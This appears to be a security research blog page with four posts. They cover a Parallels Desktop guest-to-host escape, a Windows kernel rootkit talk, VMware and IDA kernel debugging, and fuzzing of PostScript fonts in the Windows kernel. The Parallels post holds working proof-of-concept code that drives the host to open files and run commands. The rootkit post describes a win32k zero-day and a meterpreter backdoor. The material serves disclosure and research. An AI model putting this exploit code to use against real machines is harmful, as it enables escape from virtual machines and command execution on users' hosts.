Thursday, November 13, 2014

Simple guest to host VM escape for Parallels Desktop

First post in this blog that written in english, please be patient with my awful language skills.

This is a little story about exploiting guest to host VM escape not-a-vulnerability in Parallels Desktop 10 for Mac. Discovered attack is not about some serious hardcore stuff like hypervisor bugs or low-level vulnerabilities in guest-host communication interfaces, it can be easily performed even by very lame Windows malware if your virtual machine has insecure settings.


It always was obvious to me, that rich features for communicating with the guest operating systems (almost any modern desktop virtualisation software has them) might be dangerous. Recently I finally decided to check, how exactly they can be dangerous on example of the virtualisation software that I'm using on OS X (and millions of other users too). It's a nice product and I think that currently it has a much less attention of security researchers than it actually deserving.

Parallels Desktop 10 virtual machines has a lot of user-friendly capabilities for making guest operating system highly integrated with the host, and most of such options are enabled by default.
Let's talk about one of them:

Parallels Desktop 10 VM options

There is "Access Windows folder from Mac" option that looks pretty innocent (please note, that all other sharing options are off). This option is enabled by default for all of the virtual machines as well, and here is the description of this option from Parallels Desktop 10 for Mac User's Guide:

Access a Windows Folder or File from a Mac OS X Application

By default, you can navigate to all your Windows folders and files from Mac OS X. Windows disks are mounted to /Volumes. At the same time, Windows appears as a hard disk mounted on the Mac OS X desktop.

Note: The Windows disk disappears from the desktop and the Finder, but you can still access all of the Windows files and folders via the Windows PVM file and Terminal (/Volumes). By default, the PVM file is either in /Users/<Username>/Documents/Parallels/ or /Users/Shared. You can also find the PVM file by right-clicking Windows in Parallels Desktop Control Center (or in the virtual machine window when Windows is shut down) and selecting Show in Finder. To access Windows files and folders, right-click the PVM file, select Show Package Contents from the context menu, and open the Windows Disks folder. To disable the ability to navigate to Windows files and folders, deselect Access Windows folders from Mac in step 3 above.

Well, just a guest file system sharing, you'll say, what could possibly go wrong? Unfortunately, a lot.

After enabling this option you also can notice, that in context menu of Windows Explorer presents a very interesting "Open on Mac" shortcut:

Looks promising, right? Technically this option asking the piece of Parallels software that working on the host side to do the thing, that equivalent to double-clicking on a target file in Finder.

Guest-side part of this option is implemented as PrlToolsShellExt.dll shell extension (MD5 sum of DLL with version on my Windows 8.1 x64 guest is 97D15FB584C589FA297434E08CD0252F). Menu item click handler is located at function sub_180005834() and after some pre-processing of input values it sends IOCTL request to the device \Device\prl_tg that aims to one of the Paralles kernel mode drivers (prl_tg.sys):

After the breakpoint on this DeviceIoControl() call we will obtain a call stack backatrace and function arguments:

0:037> k L7
Child-SP          RetAddr           Call Site
00000000`12bcd1c0 00007ff9`2a016969 PrlToolsShellExt!DllUnregisterServer+0x1596
00000000`12bcd310 00007ff9`2a01fd71 SHELL32!Ordinal93+0x225
00000000`12bcd410 00007ff9`2a4cf03a SHELL32!SHCreateDefaultContextMenu+0x581
00000000`12bcd780 00007ff9`2a4cc4b1 SHELL32!Ordinal927+0x156c2
00000000`12bcdaf0 00007ff9`2a4c76f7 SHELL32!Ordinal927+0x12b39
00000000`12bcded0 00007ff9`21d09944 SHELL32!Ordinal927+0xdd7f
00000000`12bcdf20 00007ff9`21d059d3 explorerframe!UIItemsView::ShowContextMenu+0x298

First 4 arguments of the DeviceIoControl(), rcx - device handle, r8 - input buffer, r9 - buffer length:

0:037> r
rax=0000000012bcd240 rbx=0000000000000000 rcx=0000000000000d74
rdx=000000000022a004 rsi=0000000000000001 rdi=0000000000000070
rip=00007ff918bd5b92 rsp=0000000012bcd1c0 rbp=000000000022a004
r8=0000000012bcd240  r9=0000000000000070 r10=000000001a5bc990
r11=000000001a5bd110 r12=0000000000000002 r13=0000000012bcd490
r14=0000000012bcd4a0 r15=0000000016af90f0

Last 4 arguments of the DeviceIoControl() that was passed over the stack:

0:037> dq rsp L4
00000000`12bcd1c0  00000000`00000000 00000000`02bdc218
00000000`12bcd1d0  00000000`00000001 00000000`00ce2480

IOCTL request input buffer:

0:037> dq @r8
00000000`12bcd240  ffffffff`00008321 00000000`00010050
00000000`12bcd250  00000000`00000001 00000000`00000002
00000000`12bcd260  00000000`00000002 00000000`00000000
00000000`12bcd270  00000000`00000000 00000000`00000000
00000000`12bcd280  00000000`00000000 00000000`00000000
00000000`12bcd290  00000000`00000000 00000000`00000000
00000000`12bcd2a0  00000000`02c787d0 00000000`0000003c

It consists from several magic values and pointer to the ASCII string with the target file path at 0x60 offset:

0:037> da poi(@r8+60)
00000000`02c787d0  "\\psf\TC\dev\_exploits\prl_guet_"
00000000`02c787f0  "to_host\New Text Document.txt"

After sending this IOCTL control request to the driver, specified file will be opened at the host side. It's also interesting and useful, that this action can be triggered from Windows user account with any privileges (including Guest):

\Device\prl_tg security permissions

And because the target file will be opened at the host side with privileges of the current OS X user, it seems that "Access Windows folder from Mac" option is definitely breaks a security model that you're usually expecting from guest-host interaction.


The following function was implemented after the short reverse engineering of shell extension. It interacting with the Parallels kernel driver and executing specified file at the host side:

void OpenFileAtTheHostSide(char *lpszFilePath)
    HANDLE hDev = NULL;

    // get handle to the target device    
    if (OpenDevice(L"\\Device\\prl_tg", &hDev))
        PDWORD64 RequestData = (PDWORD64)LocalAlloc(LMEM_FIXED, 0x70);
        if (RequestData)
            IO_STATUS_BLOCK StatusBlock;          

            ZeroMemory(RequestData, 0x70);

                Fill IOCTL request input buffer.
                It has the same layout on x86 and x64 versions of Windows
            RequestData[0x0] = 0xffffffff00008321; // magic values
            RequestData[0x1] = 0x0000000000010050;
            RequestData[0x2] = 0x0000000000000001;
            RequestData[0x3] = 0x0000000000000002;
            RequestData[0x4] = 0x0000000000000002;
            RequestData[0xc] = (DWORD64)lpszFilePath; // file path and it's length
            RequestData[0xd] = (DWORD64)strlen(lpszFilePath) + 1;

            NTSTATUS ns = NtDeviceIoControlFile(
                hDev, NULL, NULL, NULL, &StatusBlock,
                0x22a004, // IOCTL code
                RequestData, 0x70,
                RequestData, 0x70
            DbgMsg(__FILE__, __LINE__, "Device I/O control request status is 0x%.8x\n", ns);

            // ...



Now let's write some payload.
Unfortunately, we can't execute a shell script or AppleScript file in this way because such files will be opened in a text editor. But there's still a lot of other evil things that attacker can do with the ability of arbitrary file opening. For example, it's possible to write a Java .class that executes specified command and saves it's output to the guest file system (that usually mounted at /Volumes/<windows_letter>):

public static void main(String[] args) 
    // exeute command and get it's output
    StringBuilder output = new StringBuilder();
    if (exec(defaultCmd, output) == -1)
        output.append("Error while executing command");
    String volumesPath = "/Volumes";
    File folder = new File(volumesPath);

    // enumerate mounted volumes of Parallels guests
    for (File file : folder.listFiles()) 
        if (file.isDirectory()) 
            // try to save command output into the temp
            String outFile = volumesPath + "/" + 
                file.getName() + "/Windows/Temp/prl_host_out.txt";

                write(outFile, output.toString());
            catch (IOException e) { continue; }

Using this .class and OpenFileAtTheHostSide() function we can implement a usable command execution exploit:

Execution of commands using PoC

Full exploit code is available at GitHub:

Protection from this attack is pretty simple: disabling "Access Windows folder from Mac" option in virtual machine settings prevents the ability of opening files from the guest systems.
Also, you can enable "Isolate Windows from Mac" option that disables (in theory) all of the virtual machine sharing features:


  • It can be rather an incomplete documentation issue than vulnerability. It's absolutely not obvious for user, that guest file system sharing can lead to arbitrary code execution at the host side.
  • Exploit is very simple and reliable, works under all of the versions of Windows on guest machines, attack can be performed with the privileges of any Windows user that belongs to the Everyone security group. This issue is also relevant to other guest operating systems (like Linux and OS X), however, provided PoC was designed only for Windows. 
  • It will be good to disable sharing options of virtual machines, if such attack vector might be a critical for your threat model.
  • I think that It's very unlikely that Parallels will release any significant fixes or improvements for described mechanisms, because any reasonable fix will break the easy way of opening Windows documents on Mac.
  • I played a bit with only one sharing option, but who knows now many similar (or even worse) security issues are actually exists in Parallels, VMware and Oracle products.
PS: Have a good fun at ZeroNights, too bad that this year I'm missing it. 

Saturday, January 5, 2013

Выступление на ZeroNights 2012

Некоторое время назад я выступил на конференции ZeroNights 2012 c докладом про то, как может быть устроен Windows руткит режима ядра для целевых атак.

Для хранения вредоносного кода я решил использовать параметры системного реестра, и реализовать руткиты таким образом, что бы на стадии установки в систему, кроме нескольких параметров реестра, они ничего не модифицировали. В результате такого решения предо мной стала задача о том, как исполнить нечто (находящееся в системном реестре) как машинный код на этапе загрузки операционной системы.

В качестве решений для этой задачи было найдено и опробовано несколько возможных вариантов:
  • Передача управления на код руткита путём модификации DSDT таблицы ACPI, которая записывается ACPI-драйвером Windows для долгосрочного хранения именно в системный реестр.
  • Передача управления на вредоносный код путём эксплуатации уязвимости нулевого дня в компонентах режима ядра Windows, связанной с некорректной обработкой данных которые были получены из системного реестра.

Первый вариант в последствии был отклонен в связи с его принципиальной неработоспособностью на NT 6.x, а второй - получил развитие в виде вполне функционального руткита, умеющего следующее:
  • Использует уязвимость нулевого дня в win32k.sys (переполнение буфера на стеке в функции  win32k!bInitializeEUDC() из-за небезопасного использования nt!RtlQueryregistryValues()) для того что бы получить управление на этапе загрузки ОС.
  • Устанавливает сетевой бекдор, основанный на NDIS перехватах. Код руткита ищет во входящем трафике магическую последовательность и при её нахождении запускает на исполнение meterpreter/bind_tcp (из состава Metasploit Frameowrk) в контексте процесса пользовательского режима.
  • Для обхода детектирования неизвестного исполняемого кода в памяти со стороны анти-руткит утилит используется перемещение кода руткита в discardable-секции стандартных драйверов Windows.
  • Не детектируется доступными публично анти-руткит утилитами (правда, после того как я связался с автором wincheck - в него было добавлено детектирование NDIS перехватов моего руткита).
  • Работает на Windows 7 (SP0, SP1) x86.

Схема эксплуатации уязвимости для запуска кода руткита выглядит следующим образом:

Более подробную информацию можно почерпнуть из слайдов с выступления:

Исходный код руткита доступен на GitHub:

Monday, July 2, 2012

VMware + GDB stub + IDA

Многим известно, что в системе виртуализации VMware Worstation с самых незапамятных времен существует стандартный GDB интерфейс для удалённой отладки, однако, мало кто пользуется ним в повседневной работе в силу того, что отладку в "голом" GDB тяжело назвать удобной. Однако, в роли вполне вменяемого клиента для отладочного интерфейса GDB может выступать IDA Pro, в которой соответствующий функционал был добавлен ещё в 5-й ветке, но работать должным образом и без багов начал только в 6.0.
Отладка гостевой операционной системы Windows c использованием связки VMware + GDB stub + IDA бывает незаменимой когда приходится иметь дело с детектированием удалённых отладчиков ядра, отладкой PatchGuard, отладкой процесса загрузки ОС а так же критического кода (например, векторов прерываний) который по тем или иным причинам тяжело отлаживать с помощью WinDbg.
Очевидно, что отладочный интерфейс гипервизора ничего не знает о среде запущенной на нем  операционной системы Windows сам по себе, поэтому, для комфортной отладки с использованием VMware + GDB stub требуется некоторая настройка IDA Pro как debug клиента. В Hex Blog, в своё время, была опубликована заметка с описанием подобной настройки, к которой прилагался скрипт, который осуществляет:

  • Нахождение nt!PsLoadedModuleList и перечисление всех загруженных в настоящий момент модулей режима ядра, с последующим созданием сегментов для каждого из них.
  • Загрузку отладочных символов для всех найденных модулей.

Из-за ряда ошибок и недоработок в оригинальном скрипте, который не позволял нормально работать с ним - я решил его переписать, внеся следующие изменения:

  • Переписан алгоритм нахождения nt!PsLoadedModuleList. Оригинальный скрипт использовал базу сегмента FS для доступа к структуре _KPCR, что является не лучшей идеей: на остановленной в случайное время виртуальной машине в FS может быть загружен как user-mode, так и kernel-mode селектор, а поскольку в режиме пользователя FS указывает на совсем другую структуру (_TEB) - очень часто скрипт попросту не срабатывал. Вместо этого я реализовал поиск адреса nt!PsLoadedModuleList по сигнатуре в исполняемом образе ядра, адрес загрузки которого, в свою очередь, находится путём анализа векторов прерываний.
  • Добавлена полная поддержка Windows x64, отсутствовавшая в оригинальном скрипте. Поскольку стандартный способ для определения разрядности debug target-а через idainfo.is_32bit() / idainfo.is_64bit() на моей версии IDA Pro и IDAPython не работал (соответствующие функции всегда возвращали False) - я реализовал данный функционал путём небольшого хака с проверкой значения старших 24-х бит базы IDT.
  • Исправлены ошибки с загрузкой отладочных символов для модулей, чей полный путь не соответствует формату \SystemRoot\System32\<some_path>.

Моя версия скрипта доступна для загрузки в репозитории на GitHub:

Необходимые шаги по настройке:

  1. Установить IDA Pro от 6.0 и старше и актуальную версию IDAPython для неё.
  2. Отредактировать .vmx файл виртуальной машины, добавив в него строчку debugStub.listen.guest32 = "TRUE" для 32-х разрядных гостевых операционных систем или debugStub.listen.guest64 = "TRUE" для 64-х разрядных.
  3. Для успешной загрузки отладочных символов необходимо скопировать директорию %SystemRoot%\system32 из гостевой операционной системы в хостовую, и указать путь к ней в переменной SYSTEM32_COPY_PATH внутри скрипта
  4. После запуска гостевой операционной системы в VMware Workstation можно в любое время подключить к виртуальной машине удалённый отладчик, для чего в IDA Pro следует выбрать пункт главного меню "Debugger" → "Attach" → "Remote GDB Debugger", указав номер порта 8832 для 32-х разрядного debug target-а или 8864 для 64-х разрядного. При этом IDA и GDB stub не конфликтуют с удалённой отладкой ядра Windows с помощью WinDbg и использовать с виртуальной машиной можно оба отладчика одновременно.

После выполнения данных шагов и запуска скрипта становится возможной навигация между загруженными в память модулями режима ядра:

А так же навигация по именам, которые были получены из отладочных символов:

Tuesday, June 12, 2012

Удалённый 0day в ядре Windows: вы ещё не забыли уязвимости при обработке шрифтов?

Данной записью я продолжаю начатый ранее экскурс в legacy-мусор графической подсистемы Windows и уязвимости нулевого дня в ней. На этот раз речь пойдёт об уязвимостях, связанных с обработкой шрифтов. Вообще данный вектор сложно назвать новым, в ядре Windows уже неоднократно находили подобные уязвимости, среди них наиболее известными являются MS11-077 и MS11-087, подробный анализ которых можно найти в документе «GDI Font Fuzzing in Windows Kernel for Fun».

Операционная система Windows поддерживает как растровые, так и векторные шрифты. Растровые шрифты представляют собой файлы формата Microsoft Windows Bitmapped Font с расширением .FON, в качестве контейнера для хранения данных шрифта используется формат Portable Executable (обычные PE-файлы, так же как и в случае с клавиатурными раскладками). В неправильной обработке шрифтов такого формата, которая приводит к переполнению пула в ядре, и заключается уязвимость MS11-077.

Векторные шрифты Windows в качестве контейнера используют формат OpenType, а относительно формата хранимых в контейнере данных такие шрифты делятся на два класса: TrueType-based (файлы с расширением .TTF) и PostScript-based (файлы с расширением .OTF). Спецификация на OpenType и TrueType форматы доступна на сайте Microsoft-а. Эксплойт для уязвимости MS11-087, при обработке TrueType-based шрифтов, использовался в черве Duqu.

Вообще, на поиск других уязвимостей при обработке шрифтов меня (да и, наверняка, многих других исследователей) подвигли именно MS11-077 и MS11-087. Из-за простоты проработки данного вектора (которая диктуется относительно несложными форматами) я не рассчитывал на существенный успех, и сосредоточился, главным образом, на PostScript-based шрифтах, в коде обработки которых мне и удалось найти неизвестную ранее remote DoS уязвимость.

OpenType контейнер и обработка шрифтов в Windows

Данный формат описан в главе «TrueType Font File» документа «TrueType Specification». Его структура включает в себя последовательно идущие друг за другом заголовок, таблицу директорий и, собственно, сами директории:

Заголовок имеет следующий вид:

typedef struct _OTF_FILE_HEADER
    ULONG sfntVersion;      // 0x00010000 for version 1.0.
    USHORT numTables;       // Number of tables.
    USHORT searchRange;     // (Maximum power of 2 <= numTables) x 16.
    USHORT entrySelector;   // Log2(maximum power of 2 <= numTables).
    USHORT rangeShift;      // NumTables x 16-searchRange.


Наиболее важным для реализации фаззера полем является numTables, которое содержит количество записей в таблице директорий. Каждая такая запись имеет следующую структуру:

typedef struct _OTF_TABLE_HEADER
    ULONG tag;      // 4-byte identifier.
    ULONG checkSum; // CheckSum for this table.
    ULONG offset;   // Offset from beginning of TrueType font file.
    ULONG length;   // Length of this table.


Идентификатор tag представляет собой 4 ASCII символа, которые являются именем таблицы (например: head, hhea, maxp, OS/2, name, cmap, post, CFF, hmtx). Именно по этому имени код обрабатывающий файл шрифта определяет, какие данные находятся в данной таблице (описания глифов, метаинформация, цифровая подпись и многое другое). Всего типов таблиц существует около двух десятков. Загрузчик шрифтов проверяет контрольные суммы таблиц, которые хранятся в поле checkSum, если контрольная сумма не совпадает – то такой файл шрифта обработан не будет.

Код подсчёта контрольной суммы для данных, хранящихся в таблице:

ULONG OTF_CalcTableChecksum(ULONG *Table, ULONG Length)
    ULONG Sum = 0;
    ULONG nLongs = (ALIGN_UP(Length, sizeof(ULONG))) / sizeof(ULONG);

    for (ULONG i = 0; i < nLongs; i++, Table++)
        Sum += htonl(*Table);

    return Sum;

Для загрузки произвольного шрифта в Windows используются API функции AddFontResource() и AddFontresourceEx(), которые в качестве параметра принимают путь к файлу шрифта. На низком уровне этим функциям соответствуют системные вызовы графической подсистемы win32k!NtGdiAddFontResourceW() и win32k!NtGdiAddFontMemResourceEx(). Последний позволяет загрузить шрифт не только из файла на диске, но так же из буфера в памяти.

За обработку TrueType-based шрифтов отвечает код непосредственно графической подсистемы, находящийся в исполняемом модуле win32k.sys, но обработка PostScript-based шрифтов вынесена в динамическую библиотеку %SystemRoot%\system32\atmfd.dll, разработчиком которой, согласно информации о версии, является компания Adobe:

Эта библиотека имеет один и тот же номер версии на всех актуальных версиях Windows, начиная с XP. Загрузка atmfd.dll осуществляется на этапе инициализации графической подсистемы в коде win32k!InitializeGreCSRSS() c помощью функции win32k!bEnableFontDriver():

loc_BF88BF89: ; CODE XREF: InitializeGreCSRSS()+B92

    push    4
    push    offset _atmfdEnableDriver@12 ; __int32 (__stdcall *)()
    call    ?bEnableFontDriver@@YGHP6GJXZK@Z ; bEnableFontDriver(long (*)(void),ulong)
    test    eax, eax
    jz      short loc_BF88BFF8

Для вызова того или иного кода из atmfd.dll графическая подсистема использует функции-переходники, адреса которых хранятся в глобальном массиве win32k!atmfdCallBlock():

_atmfdCallBlock ; DATA XREF: atmfdEnableDriver(x,x,x)+16o

    dd 0
    dd offset _atmfdEnablePDEV@44 ; atmfdEnablePDEV(x,x,x,x,x,x,x,x,x,x,x)
    dd 2
    dd offset _atmfdDisablePDEV@4 ; atmfdDisablePDEV(x)
    dd 1
    dd offset __SetDbgTag@8 ; _SetDbgTag(x,x)
    dd 2Dh
    dd offset _atmfdLoadFontFile@28 ; atmfdLoadFontFile(x,x,x,x,x,x,x)
    dd 2Ch
    dd offset _atmfdQueryFontCaps@8 ; atmfdQueryFontCaps(x,x)
    dd 2Eh
    dd offset _atmfdUnloadFontFile@4 ; atmfdUnloadFontFile(x)
    dd 33h
    dd offset _atmfdQueryFontFile@16 ; atmfdQueryFontFile(x,x,x,x)
    dd 1Ah
    dd offset _atmfdQueryFont@16 ; atmfdQueryFont(x,x,x,x)
    dd 2Ah
    dd offset _atmfdFree@8  ; atmfdFree(x,x)
    dd 1Bh
    dd offset _atmfdQueryFontTree@20 ; atmfdQueryFontTree(x,x,x,x,x)
    dd 1Ch
    dd offset _atmfdQueryFontData@28 ; atmfdQueryFontData(x,x,x,x,x,x,x)
    dd 2Bh
    dd offset _atmfdDestroyFont@4 ; atmfdDestroyFont(x)
    dd 35h
    dd offset _atmfdQueryAdvanceWidths@24 ; atmfdQueryAdvanceWidths(x,x,x,x,x,x)
    dd 31h
    dd offset _atmfdQueryTrueTypeOutline@28 ; atmfdQueryTrueTypeOutline(x,x,x,x,x,x,x)
    dd 30h
    dd offset _atmfdQueryTrueTypeTable@32 ; atmfdQueryTrueTypeTable(x,x,x,x,x,x,x,x)
    dd 18h
    dd offset _atmfdEscape@24 ; atmfdEscape(x,x,x,x,x,x)
    dd 2Fh
    dd offset _atmfdFontManagement@28 ; atmfdFontManagement(x,x,x,x,x,x,x)
    dd 32h
    dd offset _atmfdGetTrueTypeFile@8 ; atmfdGetTrueTypeFile(x,x)
    dd 56h
    dd offset _atmfdQueryGlyphAttrs@8 ; atmfdQueryGlyphAttrs(x,x)

Отладочные символы к библиотеке atmfd.dll отсутствуют, она имеет размер около 300Кб и содержит в себе 837 функций. В коде atmfd.dll обильно встречается вывод различных диагностических сообщений об ошибках следующего вида:

push    offset aOp_spOp_stk ; "op_sp >= op_stk"
push    offset aUnderflowOfTyp ; "underflow of Type 1 operand stack"
push    117Bh
push    offset aDNtWindowsCo_6 ; "d:\\nt\\windows\\core\\ntgdi\\fondrv\\otfd\\bc"...
push    offset aSDSS    ; "%s:%d: %s (%s)\n"
push    offset word_427FC
call    nullsub_52

Однако функция, осуществляющая вывод этих сообщений, в связи с особенностью Release-сборки представляет собой ничего не делающую пустышку. Перенаправить вывод этих сообщений в удалённый отладчик ядра можно путём установки следующей точки останова:

kd> ba e1 atmfd+15384 "kb L1;da poi(esp+c);da poi(esp+14);g"

Диагностические сообщения могут быть полезными при фаззинге и анализе его результатов:


Так как тратить много времени на несколько заезженный вектор было неразумно – искать уязвимости при обработке PostScript-based шрифтов я решил методом примитивного мутационного фаззинга. Разработанный мной фаззер, разумеется, осуществлял корректный пересчёт контрольных сумм для содержимого таблиц OpenType контейнера, а во всём остальном – был основан на базе инструмента MutateGen, о котором я когда-то писал в контексте фаззинга формата архивов. Итератор (код, который осуществляет «запуск» сгенерированного набора тестовых данных) был встроен в сам фаззер, и представлял собой вариацию на тему API функций AddFontResource() и DrawText().

Касательно реализации итератора у меня есть некоторые общие замечания. В книге «iOS Hacker’s Handbook», которую я сейчас читаю (а так же во многих других подобной тематики), содержатся рекомендации по реализации итератора вида «передайте сгенерированную фаззером единицу данных тестируемому приложению, подождите N секунд, после чего насильно завершите его процесс». На мой взгляд, подобный подход – несколько бестолковый. Так как количество итераций, которые ваш сетап для фаззинга может производить в течении некоторого интервала времени, самым непосредственным образом влияют на эффективность фаззинга – разумно минимизировать время проведения одной итерации всеми возможными средствами, а именно – завершать работу тестируемого приложения не по истечению фиксированного количества времени, а ровно в тот момент, когда оно закончило загрузку и обработку тестовых данных. Для отслеживания этого момента можно использовать как легитимные средства (например, различные API и плагины) так и хаки, вроде внесения собственных модификаций в исходный код или исполняемый файл тестируемого приложения.

В итераторе своего фаззера шрифтов, для отслеживания момента окончания загрузки шрифта, я использовал особенности естественного поведения очереди оконных сообщений в Windows:
  1. При создании окна с помощью API функции CreateWindowEx() система посылает в его оконную процедуру сообщения типа WM_PAINT.
  2. Сразу после создания окна код фаззера отправляет ему сообщение типа WM_COMMAND.
  3. При получении сообщения WM_PAINT оконная процедура инициирует вывод текста с использованием модифицированного фаззером шрифта. Для этого вызываются API функции CreateFontIndirect() и DrawText().
  4. Так как синхронные оконные сообщения доставляются оконной процедуре в порядке добавления их в очередь – после WM_PAINT оконная процедура получает сообщение WM_COMMAND, обработка которого заключается в закрытии окна и завершении тестовой итерации. Загрузка шрифта и вывод текста в этот момент уже завершились.
Фаззер представляет собой приложение, запускаемое из командной строки:

> MsFontsFuzz.exe <font_name> <font_file_path> [options]

... где <font_name> и <font_file_path> – имя шрифта и путь к его файлу. В качестве опций можно указывать следующие опциональные ключи:

--test – вывод символов указанного шрифта без фаззинга.

--text – строка, которая будет выведена с использованием указанного шрифта, по умолчанию используется строка ASCII символов в диапазоне 20h – 7Fh.

--noisy – выводить в консоль информацию о каждой итерации.

--fix_crcs – исправление неправильных контрольных сумм в указанном файле шрифта.

Так же поддерживаются ключи управления режимом генерации некорректных данных (-FILE_RANGE_START, -FILE_RAGE_END, -BLOCK_SIZE, -BLOCK_RANGE_START, -BLOCK_RANGE_END и -BLOCK_RANGE_N) которые соответствуют таковым у упоминавшегося выше инструмента MutateGen.

В качестве исходных данных для мутационного генератора я выбрал шрифты Brush Script Std Regular, Hobo Std Medium и несколько других. Так как публичных инструментов для анализа покрытия кода в режиме ядра не существует – этот выбор был интуитивным, исходя из критериев наименьшего размера файла шрифта при наибольшем количестве директорий разных типов в нём.


В процессе фаззинга c использованием шрифтов Brush Script Std Regular и Hobo Std Medium несколько раз обнаруживалось полное «зависание» тестовой виртуальной машины с последующим вылетом в удалённый отладчик режима ядра по срабатыванию watchdog-а:

*                                                                             *
*  The watchdog detected a timeout condition. We broke into the debugger to   *
*  allow a chance for debugging this failure.                                 *
*                                                                             *
*  Normally the system will try to recover from this failure and return to a  *
*  VGA graphics mode.  To disable the recovery feature edit the watchdog      *
*  variable WdDisableRecovery.  This will allow you to debug your driver.     *
*  i.e. execute ed watchdog!WdDisableRecovery 1.                              *
*                                                                             *
*  Intercepted bugcheck code and arguments are listed below this message.     *
*  You can use them the same way as you would in case of the actual break,    *
*  i.e. execute .thread Arg1 then kv to identify an offending thread.         *
*                                                                             *
*** Intercepted Fatal System Error: 0x000000EA
Driver at fault: vmx_fb
Break instruction exception - code 80000003 (first chance)
80527c00 cc              int     3
kd> .thread 0x823D8920
Implicit thread is now 823d8920
kd> kb
ChildEBP RetAddr  Args to Child             
b194f694 806d3ca4 00000000 b194fdf0 8054160d nt!KiDispatchInterrupt+0x7f
b194f6a0 8054160d 00c60b00 00000162 b194fdf0 hal!HalEndSystemInterrupt+0x54
b194f6a0 bf1b4dbc 00c60b00 00000162 b194fdf0 nt!KiInterruptDispatch+0x4d
*** ERROR: Module load completed but symbols could not be loaded for ATMFD.DLL
WARNING: Stack unwind information not available. Following frames may be wrong.
b194fdf0 bf1b6f4a e1326868 bf1c4828 b1950028 ATMFD+0x2adbc
b194fea8 bf1aaf74 e1326868 bf1c4828 b1950028 ATMFD+0x2cf4a
b194ff88 bf1ab013 e1326868 b1950028 b19500ac ATMFD+0x20f74
b194ffb4 bf19c38f e1326868 bf1c4828 b1950028 ATMFD+0x21013
b195011c bf19c77a ffffffff b1950220 e12acb58 ATMFD+0x1238f
b1950168 bf18d386 ffffffff b1950220 00000000 ATMFD+0x1277a
b19501c0 bf83a9db e1a91010 e12abd08 00000001 ATMFD+0x3386
b19501f0 bf83ac37 e1a91010 e12abd08 00000001 win32k!PDEVOBJ::QueryFontData+0x3c
b1950268 bf807b15 b19505d0 e13df344 00000063 win32k!xInsertMetricsPlusRFONTOBJ+0xc4
b195029c bf812b58 00000001 b1950644 7ffde22c win32k!RFONTOBJ::bGetGlyphMetricsPlus+0x180
b19502d0 bf812624 b1950858 b19505d0 00002128 win32k!ESTROBJ::vCharPos_H3+0xee
b1950314 bf8118da 7ffde22c 00000001 b1950858 win32k!ESTROBJ::vInit+0x257
b19505b8 bf813031 b1950858 000000ed 00000000 win32k!GreExtTextOutWLocked+0x666
b1950720 bf80c6c7 b1950858 7ffde1dc 00000058 win32k!GreBatchTextOut+0x344
b1950874 8053d6aa 00000091 00a8fabc 00a8fadc win32k!NtGdiFlushUserBatch+0x11b
b19508a4 bf80555e bf80556b 00000000 00a80000 nt!KiFastCallEntry+0xca
b19508ac 00000000 00a80000 7c900023 badb0023 win32k!HmgDecProcessHandleCount+0x2e

Уязвимость стабильно воспроизводилась в результате модификации фаззером одного из байтов в директории CFF. Всего подобных смещений, изменения байта по которым приводили к триггерингу уязвимости, обнаружилось несколько штук для каждого из шрифтов. Одно из них:

В директории CFF, согласно документации, находятся данные в формате Compact Font Format, спецификация на который предоставляется компанией Adobe. Внутри CFF контейнера содержится векторное описание глифов для символов шрифта в формате Post Script Type 2 Character String Format, который так же описан в документе «The Type 2 Charstring Format»:

Формат CFF организован в отдельные структуры данных, которые содержат описания поддерживаемых данным шрифтом символов, вектора для построения глифов, метаинформацию и прочее. Доступ к глифам осуществляется через таблицы кодирования, которые устанавливают соответствие между глифами и кодами символов. Эти таблицы представлены в виде 3-х параллельных массивов (код символа, имя символа, глиф) с общим индексом.

Для работы с PostScript шрифтами Adobe предоставляет пакет Font Development Kit, в который входит ряд полезных программ, позволяющих разбирать и собирать обратно PostScript шрифты. Для локализации некорректных данных я сделал текстовые дампы содержимого для нормального и сгенерированного фаззером шрифта с помощью утилиты tx.exe, после чего сравнил их diff-ом:

> fdk-2.5\Tools\win\tx.exe -dcf BrushScriptStd.otf > BrushScriptStd.txt
> fdk-2.5\Tools\win\tx.exe -dcf BrushScriptStd_0000298f.otf > BrushScriptStd_0000298f.txt
> diff -u BrushScriptStd.txt BrushScriptStd_0000298f.txt
--- BrushScriptStd.txt     Fri Jun 08 14:56:35 2012
+++ BrushScriptStd_0000298f.txt Fri Jun 08 17:06:00 2012
@@ -1249,7 +1249,8 @@
   -40 -13 88 310 -20 hstem
   -3 73 14 callsubr
-  95 112 99 65 61 vhcurveto
+  95 112 99 65 reserved13
+  vhcurveto
   32 callsubr

Дампы доступны для загрузки по следующим ссылкам: BrushScriptStd_0000298f.txt, BrushScriptStd.txt

Как видно, модификация фаззером значения байта по смещению 298Fh из C8h в 0Dh привела к тому, что описание глифа #68 (в шрифте Brush Script Std ему соответствует прописная латинская литера «с») изменилось с:

  -40 -13 88 310 -20 hstem
  -3 73 14 callsubr
  95 112 99 65 61 vhcurveto
  32 callsubr

… на:

  -40 -13 88 310 -20 hstem
  -3 73 14 callsubr
  95 112 99 65 reserved13
  32 callsubr

Что и привело к аномальному поведению atmfd.dll при обработке шрифта.

Обратимся к документации на Type 2 Charstring Format, что бы разобраться в формате глифов и выяснить причину уязвимости. Charstring-данные представляют собой массив байтов, каждый из которых может декодироваться либо как оператор (hstem, callsubr, vhcurveto и другие на листингах выше), либо как числовой аргумент (-40, -13, 88, 310, -20 и так далее) в зависимости от того, в каком диапазоне лежит значение этого байта:

Данные оригинального шрифта, имеющие HEX-представление F7h 04h EEh CCh C8h 1Eh, декодируются в команду |dy1 dx2 dy2 dx3 dyf vhcurveto| которая строит к текущей точке кривую Безье по двум касательным, которые указаны в качестве операндов. Операнд dyf (глубина изгиба кривой), в модифицированном фаззером шрифте имеет значение 0Dh, в результате чего atmfd.dll ошибочно декодирует этот байт в зарезервированный оператор под номером 13:

Для более удобного анализа уязвимости из сгенерированного фаззером шрифта я собрал минимальный тестовый кейс, с помощью которого можно воспроизвести найденную уязвимость. Для редактирования шрифтов была использована другая утилита из состава Font Development Kit, ttx.exe, которая позволяет преобразовать .OTF файл шрифта в XML представление, и генерировать из модифицированного XML документа новый .OTF файл.

Модификации для получения минимального тестового кейса свелись к следующему:
  1. Убрана вся метаинформация.
  2. Оставлен только один глиф.
  3. Оригинальные команды Type 2 Charstring Format были изменены путём свёртки вызовов процедур (оператор callsubr) и удаления тех инструкций, которые не влияют на воспроизведение уязвимости.
В результате текстовый дамп полученного файла шрифтов упростился до следующего вида:

### Header (00000700-00000703)
major  =1
minor  =0
### Name INDEX (00000704-0000071c)
